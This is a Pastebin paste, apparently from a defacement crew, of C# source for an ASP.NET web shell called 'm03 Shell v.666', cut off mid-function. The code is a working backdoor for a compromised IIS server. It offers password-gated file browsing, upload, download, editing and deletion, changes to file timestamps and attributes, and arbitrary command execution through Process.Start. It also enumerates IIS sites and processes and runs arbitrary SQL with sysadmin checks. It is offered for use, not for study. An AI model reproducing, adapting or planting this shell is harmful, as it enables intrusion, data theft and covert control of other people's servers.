Advertisement
PhantomGhostSquad

Moe Shell

Sep 9th, 2016
268
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 62.92 KB | None | 0 0
  1. 4prili666h05T m03 Shell v.666
  2. <%@ Page Language="C#" Debug="true" trace="false" validateRequest="false" %>
  3. <%@ import Namespace="System.IO" %>
  4. <%@ import Namespace="System.Diagnostics" %>
  5. <%@ import Namespace="System.Data" %>
  6. <%@ import Namespace="System.Data.OleDb" %>
  7. <%@ import Namespace="Microsoft.Win32" %>
  8. <%@ import Namespace="System.Net.Sockets" %>
  9. <%@ Assembly Name="System.DirectoryServices, Version=2.0.0.0, Culture=neutral, PublicKeyToken=B03F5F7F11D50A3A" %>
  10. <%@ import Namespace="System.DirectoryServices" %>
  11. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  12. <script runat="server">
  13. /*
  14. Thanks Snailsor,FuYu,J0keroo,KuroiSh,SQL_Master
  15.  
  16. Code by Bin
  17.  
  18. Make in Greenz
  19. Zone -h : http://www.zone-h.org/archive/notifier=Shin0bi H4x0r
  20.  
  21. E-mail : muhammadhackirs@gmail.com
  22. */
  23. public string Password = "71144850f4fb4cc55fc0ee6935badddf";//PASS:nullchl:rizk0nT
  24. public string SessionName = "m03 Shell v.666";
  25. public string Bin_Action = "";
  26. public string Bin_Request = "";
  27. protected OleDbConnection conn = new OleDbConnection();
  28. protected OleDbCommand comm = new OleDbCommand();
  29.  
  30. protected void Page_Load(object sender, EventArgs e)
  31. {
  32.  
  33. if (Session[SessionName] != "BIN")
  34. {
  35. Bin_login();
  36. }
  37. else
  38. {
  39. if (!IsPostBack)
  40. {
  41. Bin_main();
  42. }
  43. else
  44. {
  45.  
  46. Bin_Action = Request["goaction"];
  47. if (Bin_Action == "del")
  48. {
  49. Bin_Request = Request["todo"];
  50. Bin_Filedel(Bin_Request, 1);
  51. }
  52. if (Bin_Action == "change")
  53. {
  54. Bin_Request = Request["todo"];
  55. Bin_FileList(Bin_Request);
  56. }
  57. if (Bin_Action == "deldir")
  58. {
  59. Bin_Request = Request["todo"];
  60. Bin_Filedel(Bin_Request, 2);
  61. }
  62. if (Bin_Action == "down")
  63. {
  64. Bin_Request = Request["todo"];
  65. Bin_Filedown(Bin_Request);
  66. }
  67. if (Bin_Action == "rename")
  68. {
  69. Bin_Request = Request["todo"];
  70. Bin_FileRN(Bin_Request, 1);
  71. }
  72. if (Bin_Action == "renamedir")
  73. {
  74. Bin_Request = Request["todo"];
  75. Bin_FileRN(Bin_Request, 2);
  76. }
  77. if (Bin_Action == "showatt")
  78. {
  79. Bin_Request = Request["todo"];
  80. Bin_Fileatt(Bin_Request);
  81. }
  82. if (Bin_Action == "edit")
  83. {
  84. Bin_Request = Request["todo"];
  85. Bin_FileEdit(Bin_Request);
  86. }
  87. if (Bin_Action == "postdata")
  88. {
  89.  
  90. Bin_Request = Request["todo"];
  91. Session["Bin_Table"] = Bin_Request;
  92. Bin_DataGrid.CurrentPageIndex = 0;
  93. Bin_DBstrTextBox.Text = "";
  94. Bin_Databind();
  95. }
  96. if (Bin_Action == "changedata")
  97. {
  98. Session["Bin_Table"] = null;
  99. Bin_Request = Request["todo"];
  100. Session["Bin_Option"] = Request["intext"];
  101. Bin_Change();
  102. Bin_DBinfoLabel.Visible = false;
  103. Bin_DBstrTextBox.Text = Bin_Request;
  104.  
  105. }
  106. if (Session["Bin_Table"] != null)
  107. {
  108. Bin_Databind();
  109. }
  110.  
  111. }
  112. }
  113. }
  114. public void Bin_login()
  115. {
  116. Bin_LoginPanel.Visible = true;
  117. Bin_MainPanel.Visible = false;
  118. Bin_MenuPanel.Visible = false;
  119. Bin_FilePanel.Visible = false;
  120. Bin_CmdPanel.Visible = false;
  121. Bin_SQLPanel.Visible = false;
  122. Bin_SuPanel.Visible = false;
  123. Bin_IISPanel.Visible = false;
  124. Bin_PortPanel.Visible = false;
  125. Bin_RegPanel.Visible = false;
  126. }
  127. public void Bin_main()
  128. {
  129. TimeLabel.Text = DateTime.Now.ToString();
  130. Bin_PortPanel.Visible = false;
  131. Bin_RegPanel.Visible = false;
  132. Bin_LoginPanel.Visible = false;
  133. Bin_MainPanel.Visible = true;
  134. Bin_MenuPanel.Visible = true;
  135. Bin_FilePanel.Visible = false;
  136. Bin_CmdPanel.Visible = false;
  137. Bin_SQLPanel.Visible = false;
  138. Bin_SuPanel.Visible = false;
  139. Bin_IISPanel.Visible = false;
  140. string ServerIP = "Server IP : "+Request.ServerVariables["LOCAL_ADDR"]+"<br>";
  141. string HostName = "HostName : " + Environment.MachineName + "<br>";
  142. string OS = "OS Version : " + Environment.OSVersion + "</br>";
  143. string IISversion = "IIS Version : " + Request.ServerVariables["SERVER_SOFTWARE"] + "<br>";
  144. string PATH_INFO = "PATH_TRANSLATED : " + Request.ServerVariables["PATH_TRANSLATED"] + "<br>";
  145. InfoLabel.Text = "<hr><center><b><U>SYS-INFO</U></B></center>";
  146. InfoLabel.Text += ServerIP + HostName + OS + IISversion + PATH_INFO + "<hr>";
  147. InfoLabel.Text += Bin_Process() + "<hr>";
  148.  
  149. }
  150. private bool CheckIsNumber(string sSrc)
  151. {
  152. System.Text.RegularExpressions.Regex reg = new System.Text.RegularExpressions.Regex(@"^0|[0-9]*[1-9][0-9]*$");
  153.  
  154. if (reg.IsMatch(sSrc))
  155. {
  156. return true;
  157. }
  158. else
  159. {
  160. return false;
  161. }
  162. }
  163. public string Bin_iisinfo()
  164. {
  165. string iisinfo = "";
  166. string iisstart = "";
  167. string iisend = "";
  168. string iisstr = "IIS://localhost/W3SVC";
  169. int i = 0;
  170. try
  171. {
  172. DirectoryEntry mydir = new DirectoryEntry(iisstr);
  173. iisstart = "<input type=hidden name=goaction><input type=hidden name=todo><TABLE width=100% align=center border=0><TR align=center><TD width=6%><B>Order</B></TD><TD width=20%><B>IIS_USER</B></TD><TD width=25%><B>Domain</B></TD><TD width=30%><B>Path</B></TD></TR>";
  174. foreach (DirectoryEntry child in mydir.Children)
  175. {
  176. if (CheckIsNumber(child.Name.ToString()))
  177. {
  178. string dirstr = child.Name.ToString();
  179. string tmpstr = "";
  180. DirectoryEntry newdir = new DirectoryEntry(iisstr + "/" + dirstr);
  181. DirectoryEntry newdir1 = newdir.Children.Find("root", "IIsWebVirtualDir");
  182. iisinfo += "<TR><TD align=center>" + (i = i + 1) + "</TD>";
  183. iisinfo += "<TD align=center>" + newdir1.Properties["AnonymousUserName"].Value + "</TD>";
  184. iisinfo += "<TD>" + child.Properties["ServerBindings"][0] + "</TD>";
  185. iisinfo += "<TD><a href=javascript:Command('change','" + formatpath(newdir1.Properties["Path"].Value.ToString()) + "');>" + newdir1.Properties["Path"].Value + "</a></TD>";
  186. iisinfo += "</TR>";
  187. }
  188. }
  189. iisend = "</TABLE><hr>";
  190. }
  191. catch (Exception error)
  192. {
  193. Bin_Error(error.Message);
  194. }
  195. return iisstart + iisinfo + iisend;
  196. }
  197. public string Bin_Process()
  198. {
  199. string htmlstr = "<center><b><U>PROCESS-INFO</U></B></center><TABLE width=80% align=center border=0><TR align=center><TD width=20%><B>ID</B></TD><TD align=center width=20%><B>Process</B></TD><TD align=center width=20%><B>MemorySize</B></TD><TD align=center width=10%><B>Threads</B></TD></TR>";
  200. string prostr = "";
  201. string htmlend = "</TR></TABLE>";
  202. try
  203. {
  204. Process[] myprocess = Process.GetProcesses();
  205. foreach (Process p in myprocess)
  206. {
  207. prostr += "<TR><TD align=center>" + p.Id.ToString() + "</TD>";
  208. prostr += "<TD align=center>" + p.ProcessName.ToString() + "</TD>";
  209. prostr += "<TD align=center>" + p.WorkingSet.ToString() + "</TD>";
  210. prostr += "<TD align=center>" + p.Threads.Count.ToString() + "</TD>";
  211. }
  212. }
  213. catch (Exception Error)
  214. {
  215. Bin_Error(Error.Message);
  216. }
  217. return htmlstr + prostr + htmlend;
  218. }
  219. protected void LoginButton_Click(object sender, EventArgs e)
  220. {
  221. string MD5Pass = FormsAuthentication.HashPasswordForStoringInConfigFile(passtext.Text,"MD5").ToLower();
  222. if (MD5Pass == Password)
  223. {
  224. Session[SessionName] = "BIN";
  225. Bin_main();
  226. }
  227. else
  228. {
  229. Bin_login();
  230. }
  231. }
  232.  
  233. protected void LogoutButton_Click(object sender, EventArgs e)
  234. {
  235. Session.Abandon();
  236. Bin_login();
  237. }
  238.  
  239. protected void FileButton_Click(object sender, EventArgs e)
  240. {
  241. Bin_LoginPanel.Visible = false;
  242. Bin_MenuPanel.Visible = true;
  243. Bin_MainPanel.Visible = false;
  244. Bin_FilePanel.Visible = true;
  245. Bin_CmdPanel.Visible = false;
  246. Bin_SQLPanel.Visible = false;
  247. Bin_SuPanel.Visible = false;
  248. Bin_IISPanel.Visible = false;
  249. Bin_PortPanel.Visible = false;
  250. Bin_RegPanel.Visible = false;
  251. Bin_upTextBox.Text = formatpath(Server.MapPath("."));
  252. Bin_CopyTextBox.Text = formatpath(Server.MapPath("."));
  253. Bin_upTextBox.Text = formatpath(Server.MapPath("."));
  254. Bin_FileList(Server.MapPath("."));
  255.  
  256. }
  257.  
  258. protected void MainButton_Click(object sender, EventArgs e)
  259. {
  260. Bin_main();
  261. }
  262. public void Bin_DriveList()
  263. {
  264. string file = "<input type=hidden name=goaction><input type=hidden name=todo>";
  265. file += "<hr>Drives : ";
  266. string[] drivers = Directory.GetLogicalDrives();
  267. for (int i = 0; i < drivers.Length; i++)
  268. {
  269. file += "<a href=javascript:Command('change','" + formatpath(drivers[i]) + "');>" + drivers[i] + "</a>&nbsp;";
  270. }
  271. file += " WebRoot : <a href=javascript:Command('change','" + formatpath(Server.MapPath(".")) + "');>" + Server.MapPath(".") + "</a>";
  272. Bin_FileLabel.Text = file;
  273. }
  274.  
  275. public void Bin_FileList(string Bin_path)
  276. {
  277. Bin_FilePanel.Visible = true;
  278. Bin_CreateTextBox.Text = "";
  279. Bin_CopytoTextBox.Text = "";
  280. Bin_CopyTextBox.Text = Bin_path;
  281. Bin_upTextBox.Text = Bin_path;
  282. Bin_IISPanel.Visible = false;
  283. Bin_DriveList();
  284. string tmpstr="";
  285. string Bin_Filelist = Bin_FilelistLabel.Text;
  286. Bin_Filelist = "<hr>";
  287. Bin_Filelist += "<table width=90% border=0 align=center>";
  288. Bin_Filelist += "<tr><td width=40%><b>Name</b></td><td width=15%><b>Size(Byte)</b></td>";
  289. Bin_Filelist += "<td width=25%><b>ModifyTime</b></td><td width=25%><b>Operate</b></td></tr>";
  290. try
  291. {
  292. Bin_Filelist += "<tr><td>";
  293. string parstr = "";
  294. if (Bin_path.Length < 4)
  295. {
  296. parstr = formatpath(Bin_path);
  297.  
  298. }
  299. else
  300. {
  301. parstr = formatpath(Directory.GetParent(Bin_path).ToString());
  302.  
  303. }
  304. Bin_Filelist += "<i><b><a href=javascript:Command('change','" + parstr + "');>|Parent Directory|</a></b></i>";
  305. Bin_Filelist += "</td></tr>";
  306.  
  307. DirectoryInfo Bin_dir = new DirectoryInfo(Bin_path);
  308. foreach (DirectoryInfo Bin_folder in Bin_dir.GetDirectories())
  309. {
  310. string foldername = formatpath(Bin_path) + "/" + formatfile(Bin_folder.Name);
  311. tmpstr += "<tr>";
  312. tmpstr += "<td><a href=javascript:Command('change','" + foldername + "')>" + Bin_folder.Name + "</a></td><td><b><i>&lt;dir&gt;</i></b></td><td>" + Directory.GetLastWriteTime(Bin_path + "/" + Bin_folder.Name) + "</td><td><a href=javascript:Command('renamedir','" + foldername + "');>Ren</a>|<a href=javascript:Command('showatt','" + foldername + "/');>Att</a>|<a href=javascript:Command('deldir','" + foldername + "');>Del</a></td>";
  313. tmpstr += "</tr>";
  314. }
  315. foreach (FileInfo Bin_file in Bin_dir.GetFiles())
  316. {
  317. string filename = formatpath(Bin_path) + "/" + formatfile(Bin_file.Name);
  318. tmpstr += "<tr>";
  319. tmpstr += "<td>" + Bin_file.Name + "</td><td>" + Bin_file.Length + "</td><td>" + Directory.GetLastWriteTime(Bin_path + "/" + Bin_file.Name) + "</td><td><a href=javascript:Command('edit','" + filename + "');>Edit</a>|<a href=javascript:Command('rename','" + filename + "');>Ren</a>|<a href=javascript:Command('down','" + filename + "');>Down</a>|<a href=javascript:Command('showatt','" + filename + "');>Att</a>|<a href=javascript:Command('del','" + filename + "');>Del</a></td>";
  320. tmpstr += "</tr>";
  321. }
  322. tmpstr += "</talbe>";
  323. }
  324. catch (Exception Error)
  325. {
  326. Bin_Error(Error.Message);
  327.  
  328. }
  329.  
  330. Bin_FilelistLabel.Text = Bin_Filelist + tmpstr;
  331. }
  332. public void Bin_Filedel(string instr,int type)
  333. {
  334. try
  335. {
  336. if (type == 1)
  337. {
  338. File.Delete(instr);
  339. }
  340. if (type == 2)
  341. {
  342. foreach (string tmp in Directory.GetFileSystemEntries(instr))
  343. {
  344. if (File.Exists(tmp))
  345. {
  346. File.Delete(tmp);
  347. }
  348. else
  349. {
  350. Bin_Filedel(tmp, 2);
  351. }
  352. }
  353. Directory.Delete(instr);
  354. }
  355. }
  356. catch (Exception Error)
  357. {
  358. Bin_Error(Error.Message);
  359. }
  360. Bin_FileList(Bin_upTextBox.Text);
  361. }
  362. public void Bin_FileRN(string instr,int type)
  363. {
  364. try
  365. {
  366. if (type == 1)
  367. {
  368. string[] array = instr.Split(',');
  369.  
  370. File.Move(array[0], array[1]);
  371. }
  372. if (type == 2)
  373. {
  374. string[] array = instr.Split(',');
  375. Directory.Move(array[0], array[1]);
  376. }
  377. }
  378. catch (Exception Error)
  379. {
  380. Bin_Error(Error.Message);
  381. }
  382. Bin_FileList(Bin_upTextBox.Text);
  383. }
  384. public void Bin_Filedown(string instr)
  385. {
  386. try
  387. {
  388. FileStream MyFileStream = new FileStream(instr, FileMode.Open, FileAccess.Read, FileShare.Read);
  389. long FileSize = MyFileStream.Length;
  390. byte[] Buffer = new byte[(int)FileSize];
  391. MyFileStream.Read(Buffer, 0, (int)FileSize);
  392. MyFileStream.Close();
  393. Response.AddHeader("Content-Disposition", "attachment;filename=" + instr);
  394. Response.Charset = "UTF-8";
  395. Response.ContentType = "application/octet-stream";
  396. Response.BinaryWrite(Buffer);
  397. Response.Flush();
  398. Response.End();
  399. }
  400. catch (Exception Error)
  401. {
  402. Bin_Error(Error.Message);
  403. }
  404.  
  405. }
  406. public void Bin_Fileatt(string instr)
  407. {
  408. Bin_AttPanel.Visible = true;
  409. Bin_FilePanel.Visible = true;
  410. try
  411. {
  412. string Att = File.GetAttributes(instr).ToString();
  413. Bin_ReadOnlyCheckBox.Checked = false;
  414. Bin_SystemCheckBox.Checked = false;
  415. Bin_HiddenCheckBox.Checked = false;
  416. Bin_ArchiveCheckBox.Checked = false;
  417.  
  418. if (Att.LastIndexOf("ReadOnly") != -1)
  419. {
  420. Bin_ReadOnlyCheckBox.Checked = true;
  421. }
  422. if (Att.LastIndexOf("System") != -1)
  423. {
  424. Bin_SystemCheckBox.Checked = true;
  425. }
  426. if (Att.LastIndexOf("Hidden") != -1)
  427. {
  428. Bin_HiddenCheckBox.Checked = true;
  429. }
  430. if (Att.LastIndexOf("Archive") != -1)
  431. {
  432. Bin_ArchiveCheckBox.Checked = true;
  433. }
  434. Bin_CreationTimeTextBox.Text = File.GetCreationTime(instr).ToString();
  435. Bin_LastWriteTimeTextBox.Text = File.GetLastWriteTime(instr).ToString();
  436. Bin_AccessTimeTextBox.Text = File.GetLastAccessTime(instr).ToString();
  437. }
  438. catch (Exception Error)
  439. {
  440. Bin_Error(Error.Message);
  441. }
  442. Bin_AttLabel.Text = instr;
  443. Session["FileName"] = instr;
  444. Bin_DriveList();
  445. }
  446. public void Bin_FileEdit(string instr)
  447. {
  448. Bin_FilePanel.Visible = true;
  449. Bin_EditPanel.Visible = true;
  450. Bin_DriveList();
  451. Bin_EditpathTextBox.Text = instr;
  452. StreamReader SR = new StreamReader(instr, Encoding.Default);
  453. Bin_EditTextBox.Text = SR.ReadToEnd();
  454. SR.Close();
  455. }
  456. protected void Bin_upButton_Click(object sender, EventArgs e)
  457. {
  458.  
  459. string uppath = Bin_upTextBox.Text;
  460. if (uppath.Substring(uppath.Length - 1, 1) != @"/")
  461. {
  462. uppath = uppath + @"/";
  463. }
  464. try
  465. {
  466. Bin_UpFile.PostedFile.SaveAs(uppath + Path.GetFileName(Bin_UpFile.Value));
  467.  
  468. }
  469. catch (Exception error)
  470. {
  471. Bin_Error(error.Message);
  472. }
  473. Bin_FileList(uppath);
  474. }
  475. public void Bin_Error(string error)
  476. {
  477. Bin_ErrorLabel.Text = "Error : " + error;
  478. }
  479. public string formatpath(string instr)
  480. {
  481. instr = instr.Replace(@"\", "/");
  482. if (instr.Length < 4)
  483. {
  484. instr = instr.Replace(@"/", "");
  485. }
  486. if (instr.Length == 2)
  487. {
  488. instr = instr + @"/";
  489. }
  490. instr = instr.Replace(" ", "%20");
  491. return instr;
  492. }
  493. public string formatfile(string instr)
  494. {
  495. instr = instr.Replace(" ", "%20");
  496. return instr;
  497.  
  498. }
  499. protected void Bin_GoButton_Click(object sender, EventArgs e)
  500. {
  501. Bin_FileList(Bin_upTextBox.Text);
  502. }
  503.  
  504. protected void Bin_NewFileButton_Click(object sender, EventArgs e)
  505. {
  506. string newfile = Bin_CreateTextBox.Text;
  507. string filepath = Bin_upTextBox.Text;
  508. filepath = filepath + "/" + newfile;
  509. try
  510. {
  511. StreamWriter sw = new StreamWriter(filepath, true, Encoding.Default);
  512.  
  513. }
  514. catch (Exception Error)
  515. {
  516. Bin_Error(Error.Message);
  517. }
  518. Bin_FileList(Bin_upTextBox.Text);
  519. }
  520.  
  521. protected void Bin_NewdirButton_Click(object sender, EventArgs e)
  522. {
  523. string dirpath = Bin_upTextBox.Text;
  524. string newdir = Bin_CreateTextBox.Text;
  525. newdir = dirpath + "/" + newdir;
  526. try
  527. {
  528. Directory.CreateDirectory(newdir);
  529.  
  530. }
  531. catch(Exception Error)
  532. {
  533. Bin_Error(Error.Message);
  534. }
  535. Bin_FileList(Bin_upTextBox.Text);
  536. }
  537.  
  538. protected void Bin_CopyButton_Click(object sender, EventArgs e)
  539. {
  540. string copystr = Bin_CopyTextBox.Text;
  541. string copyto = Bin_CopytoTextBox.Text;
  542. try
  543. {
  544. File.Copy(copystr, copyto);
  545. }
  546. catch (Exception Error)
  547. {
  548. Bin_Error(Error.Message);
  549. }
  550. Bin_CopytoTextBox.Text = "";
  551. Bin_FileList(Bin_upTextBox.Text);
  552. }
  553.  
  554. protected void Bin_CutButton_Click(object sender, EventArgs e)
  555. {
  556. string copystr = Bin_CopyTextBox.Text;
  557. string copyto = Bin_CopytoTextBox.Text;
  558. try
  559. {
  560. File.Move(copystr, copyto);
  561. }
  562. catch (Exception Error)
  563. {
  564. Bin_Error(Error.Message);
  565. }
  566. Bin_CopytoTextBox.Text = "";
  567. Bin_FileList(Bin_upTextBox.Text);
  568. }
  569.  
  570. protected void Bin_SetButton_Click(object sender, EventArgs e)
  571. {
  572. try
  573. {
  574. string FileName = Session["FileName"].ToString();
  575. File.SetAttributes(FileName, FileAttributes.Normal);
  576. if (Bin_ReadOnlyCheckBox.Checked)
  577. {
  578. File.SetAttributes(FileName, FileAttributes.ReadOnly);
  579. }
  580.  
  581. if (Bin_SystemCheckBox.Checked)
  582. {
  583. File.SetAttributes(FileName, File.GetAttributes(FileName) | FileAttributes.System);
  584. }
  585. if (Bin_HiddenCheckBox.Checked)
  586. {
  587. File.SetAttributes(FileName, File.GetAttributes(FileName) | FileAttributes.Hidden);
  588. }
  589. if (Bin_ArchiveCheckBox.Checked)
  590. {
  591. File.SetAttributes(FileName, File.GetAttributes(FileName) | FileAttributes.Archive);
  592. }
  593. if (FileName.Substring(FileName.Length - 1, 1) == "/")
  594. {
  595. Directory.SetCreationTime(FileName, Convert.ToDateTime(Bin_CreationTimeTextBox.Text));
  596. Directory.SetLastWriteTime(FileName, Convert.ToDateTime(Bin_LastWriteTimeTextBox.Text));
  597. Directory.SetLastAccessTime(FileName, Convert.ToDateTime(Bin_AccessTimeTextBox.Text));
  598. }
  599. else
  600. {
  601. File.SetCreationTime(FileName, Convert.ToDateTime(Bin_CreationTimeTextBox.Text));
  602. File.SetLastWriteTime(FileName, Convert.ToDateTime(Bin_LastWriteTimeTextBox.Text));
  603. File.SetLastAccessTime(FileName, Convert.ToDateTime(Bin_AccessTimeTextBox.Text));
  604. }
  605. }
  606. catch (Exception Error)
  607. {
  608. Bin_Error(Error.Message);
  609. }
  610. Bin_FileList(Bin_upTextBox.Text);
  611. Response.Write("<script>alert('Success!')</sc" + "ript>");
  612. }
  613.  
  614. protected void Bin_EditButton_Click(object sender, EventArgs e)
  615. {
  616. try
  617. {
  618. StreamWriter SW = new StreamWriter(Bin_EditpathTextBox.Text, false, Encoding.Default);
  619. SW.Write(Bin_EditTextBox.Text);
  620. SW.Close();
  621. }
  622. catch (Exception Error)
  623. {
  624. Bin_Error(Error.Message);
  625. }
  626. Bin_FileList(Bin_upTextBox.Text);
  627. Response.Write("<script>alert('Success!')</sc" + "ript>");
  628.  
  629. }
  630.  
  631. protected void Bin_BackButton_Click(object sender, EventArgs e)
  632. {
  633. Bin_FileList(Bin_upTextBox.Text);
  634. }
  635.  
  636. protected void Bin_SbackButton_Click(object sender, EventArgs e)
  637. {
  638. Bin_FileList(Bin_upTextBox.Text);
  639. }
  640.  
  641. protected void Bin_CmdButton_Click(object sender, EventArgs e)
  642. {
  643. Bin_MenuPanel.Visible = true;
  644. Bin_LoginPanel.Visible = false;
  645. Bin_CmdPanel.Visible = true;
  646. Bin_SQLPanel.Visible = false;
  647. Bin_CmdLabel.Text = "";
  648. Bin_SuPanel.Visible = false;
  649. Bin_IISPanel.Visible = false;
  650. Bin_RegPanel.Visible = false;
  651. Bin_PortPanel.Visible = false;
  652. }
  653.  
  654. protected void Bin_RunButton_Click(object sender, EventArgs e)
  655. {
  656. try
  657. {
  658. Process Cmdpro = new Process();
  659. Cmdpro.StartInfo.FileName = Bin_CmdPathTextBox.Text;
  660. Cmdpro.StartInfo.Arguments = Bin_CmdShellTextBox.Text;
  661. Cmdpro.StartInfo.UseShellExecute = false;
  662. Cmdpro.StartInfo.RedirectStandardInput = true;
  663. Cmdpro.StartInfo.RedirectStandardOutput = true;
  664. Cmdpro.StartInfo.RedirectStandardError = true;
  665. Cmdpro.Start();
  666. string cmdstr = Cmdpro.StandardOutput.ReadToEnd();
  667. cmdstr = cmdstr.Replace("<", "&lt;");
  668. cmdstr = cmdstr.Replace(">", "&gt;");
  669. Bin_CmdLabel.Text = "<hr><div id=\"cmd\"><pre>" + cmdstr + "</pre></div>";
  670. }
  671. catch (Exception Error)
  672. {
  673. Bin_Error(Error.Message);
  674. }
  675. }
  676.  
  677. protected void Bin_SQLButton_Click(object sender, EventArgs e)
  678. {
  679. Bin_CmdPanel.Visible = false;
  680. Bin_SQLPanel.Visible = true;
  681. Bin_LoginPanel.Visible = false;
  682. Bin_MenuPanel.Visible = true;
  683. Bin_AccPanel.Visible = false;
  684. Bin_Scroll.Visible = false;
  685. Bin_DBmenuPanel.Visible = false;
  686. Bin_dirPanel.Visible = false;
  687. Bin_SuPanel.Visible = false;
  688. Bin_IISPanel.Visible = false;
  689. Bin_PortPanel.Visible = false;
  690. Bin_RegPanel.Visible =false;
  691. }
  692.  
  693. protected void Bin_SQLRadioButton_CheckedChanged(object sender, EventArgs e)
  694. {
  695. Session["Bin_Table"] = null;
  696. Bin_SQLconnTextBox.Text = "server=localhost;UID=sa;PWD=;database=master;Provider=SQLOLEDB";
  697. Bin_SQLRadioButton.Checked = true;
  698. Bin_AccRadioButton.Checked = false;
  699. Bin_AccPanel.Visible = false;
  700. Bin_DataGrid.Visible = false;
  701. Bin_Scroll.Visible = false;
  702. Bin_DBmenuPanel.Visible = false;
  703. Bin_dirPanel.Visible = false;
  704. }
  705.  
  706. protected void Bin_AccRadioButton_CheckedChanged(object sender, EventArgs e)
  707. {
  708. Session["Bin_Table"] = null;
  709. Bin_SQLconnTextBox.Text = @"Provider=Microsoft.Jet.OLEDB.4.0;Data Source=E:\wwwroot\database.mdb";
  710. Bin_SQLRadioButton.Checked = false;
  711. Bin_AccRadioButton.Checked = true;
  712. Bin_DBmenuPanel.Visible = false;
  713. Bin_AccPanel.Visible = false;
  714. Bin_DataGrid.Visible = false;
  715. Bin_Scroll.Visible = false;
  716. Bin_dirPanel.Visible = false;
  717.  
  718. }
  719. protected void OpenConnection()
  720. {
  721. if (conn.State == ConnectionState.Closed)
  722. {
  723. try
  724. {
  725. conn.ConnectionString = Bin_SQLconnTextBox.Text;
  726. comm.Connection = conn;
  727. conn.Open();
  728. }
  729. catch (Exception Error)
  730. {
  731. Bin_Error(Error.Message);
  732. }
  733. }
  734. }
  735. protected void CloseConnection()
  736. {
  737. if (conn.State == ConnectionState.Open)
  738. conn.Close();
  739. conn.Dispose();
  740. comm.Dispose();
  741. }
  742. public DataTable Bin_DataTable(string sqlstr)
  743. {
  744. OleDbDataAdapter da = new OleDbDataAdapter();
  745. DataTable datatable = new DataTable();
  746. try
  747. {
  748. OpenConnection();
  749. comm.CommandType = CommandType.Text;
  750. comm.CommandText = sqlstr;
  751. da.SelectCommand = comm;
  752. da.Fill(datatable);
  753. }
  754. catch (Exception)
  755. {
  756. }
  757. finally
  758. {
  759. CloseConnection();
  760. }
  761. return datatable;
  762. }
  763. protected void SQL_SumbitButton_Click(object sender, EventArgs e)
  764. {
  765. try
  766. {
  767. Session["Bin_Table"] = null;
  768. Bin_DataGrid.CurrentPageIndex = 0;
  769. Bin_DataGrid.AllowPaging = true;
  770. if (Bin_SQLRadioButton.Checked)
  771. {
  772. Bin_DBmenuPanel.Visible = true;
  773. Bin_DBinfoLabel.Visible = true;
  774. Bin_AccPanel.Visible = false;
  775. Bin_Scroll.Visible = false;
  776. Bin_dirPanel.Visible = false;
  777. OpenConnection();
  778. DataTable ver = Bin_DataTable(@"SELECT @@VERSION");
  779. DataTable dbs = Bin_DataTable(@"SELECT name FROM master.dbo.sysdatabases");
  780. DataTable cdb = Bin_DataTable(@"SELECT DB_NAME()");
  781. DataTable rol = Bin_DataTable(@"SELECT IS_SRVROLEMEMBER('sysadmin')");
  782. DataTable owner = Bin_DataTable(@"SELECT IS_MEMBER('db_owner')");
  783. string dbo = "";
  784. if (owner.Rows[0][0].ToString() == "1")
  785. {
  786. dbo = "db_owner";
  787. }
  788. else
  789. {
  790. dbo = "public";
  791. }
  792. if (rol.Rows[0][0].ToString() == "1")
  793. {
  794. dbo = "<font color=blue>sa</font>";
  795. }
  796. string db_info = "";
  797. db_info = "<i><b><font color=red>SQLversion</font> : </b></i>" + ver.Rows[0][0].ToString() + "<br><hr>";
  798. string db_name = "";
  799. for (int i = 0; i < dbs.Rows.Count; i++)
  800. {
  801. db_name += dbs.Rows[i][0].ToString().Replace(cdb.Rows[0][0].ToString(), "<font color=blue>" + cdb.Rows[0][0].ToString() + "</font>") + "&nbsp;|&nbsp;";
  802. }
  803. db_info += "<i><b><font color=red>DataBase</font> : </b></i><div style=\"width:760px;word-break:break-all\">" + db_name + "<br><div><hr>";
  804. db_info += "<i><b><font color=red>SRVROLEMEMBER</font></i></b> : " + dbo + "<hr>";
  805. Bin_DBinfoLabel.Text = db_info;
  806. }
  807. if (Bin_AccRadioButton.Checked)
  808. {
  809. Bin_DataGrid.Visible = false;
  810. Bin_SAexecButton.Visible = false;
  811. Bin_Accbind();
  812. }
  813. }
  814. catch (Exception E)
  815. {
  816. Bin_Error(E.Message);
  817. }
  818. }
  819. protected void Bin_Accbind()
  820. {
  821. try
  822. {
  823. Bin_DBmenuPanel.Visible = false;
  824. Bin_AccPanel.Visible = true;
  825. OpenConnection();
  826. DataTable acctable = new DataTable();
  827. acctable = conn.GetOleDbSchemaTable(OleDbSchemaGuid.Tables, new Object[] { null, null, null, "Table" });
  828. string accstr = "<input type=hidden name=goaction><input type=hidden name=todo>";
  829. accstr += "Tables Count : " + acctable.Rows.Count + "<br>Please select a database : <SELECT onchange=if(this.value!='')Command('postdata',this);>";
  830. for (int i = 0; i < acctable.Rows.Count; i++)
  831. {
  832. accstr += "<option value=" + acctable.Rows[i].ItemArray[2].ToString() + ">" + acctable.Rows[i].ItemArray[2].ToString() + "</option>";
  833. }
  834. if (Session["Bin_Table"] != null)
  835. {
  836. accstr += "<option SELECTED>" + Session["Bin_Table"] + "</option>";
  837. }
  838. accstr += "</SELECT>";
  839. Bin_AccinfoLabel.Text = accstr;
  840. CloseConnection();
  841. }
  842. catch (Exception Error)
  843. {
  844. Bin_Error(Error.Message);
  845. }
  846. }
  847. protected void Bin_Databind()
  848. {
  849. try
  850. {
  851. Bin_SAexecButton.Visible = false;
  852. Bin_Accbind();
  853. Bin_Scroll.Visible = true;
  854. if (Bin_SQLRadioButton.Checked)
  855. {
  856. Bin_DBmenuPanel.Visible = true;
  857. Bin_DBinfoLabel.Visible = false;
  858. }
  859. Bin_DataGrid.Visible = true;
  860. DataTable databind = Bin_DataTable(@"SELECT * FROM " + Session["Bin_Table"]);
  861. Bin_DataGrid.DataSource = databind;
  862. Bin_DataGrid.DataBind();
  863. }
  864. catch (Exception Error)
  865. {
  866.  
  867. Bin_Error(Error.Message);
  868. }
  869. }
  870.  
  871. public void Bin_ExecSql(string instr)
  872. {
  873. try
  874. {
  875. OpenConnection();
  876. comm.CommandType = CommandType.Text;
  877. comm.CommandText = instr;
  878. comm.ExecuteNonQuery();
  879. }
  880. catch (Exception e)
  881. {
  882. Bin_Error(e.Message);
  883. }
  884. }
  885. public void Item_DataBound(object sender,DataGridItemEventArgs e)
  886. {
  887.  
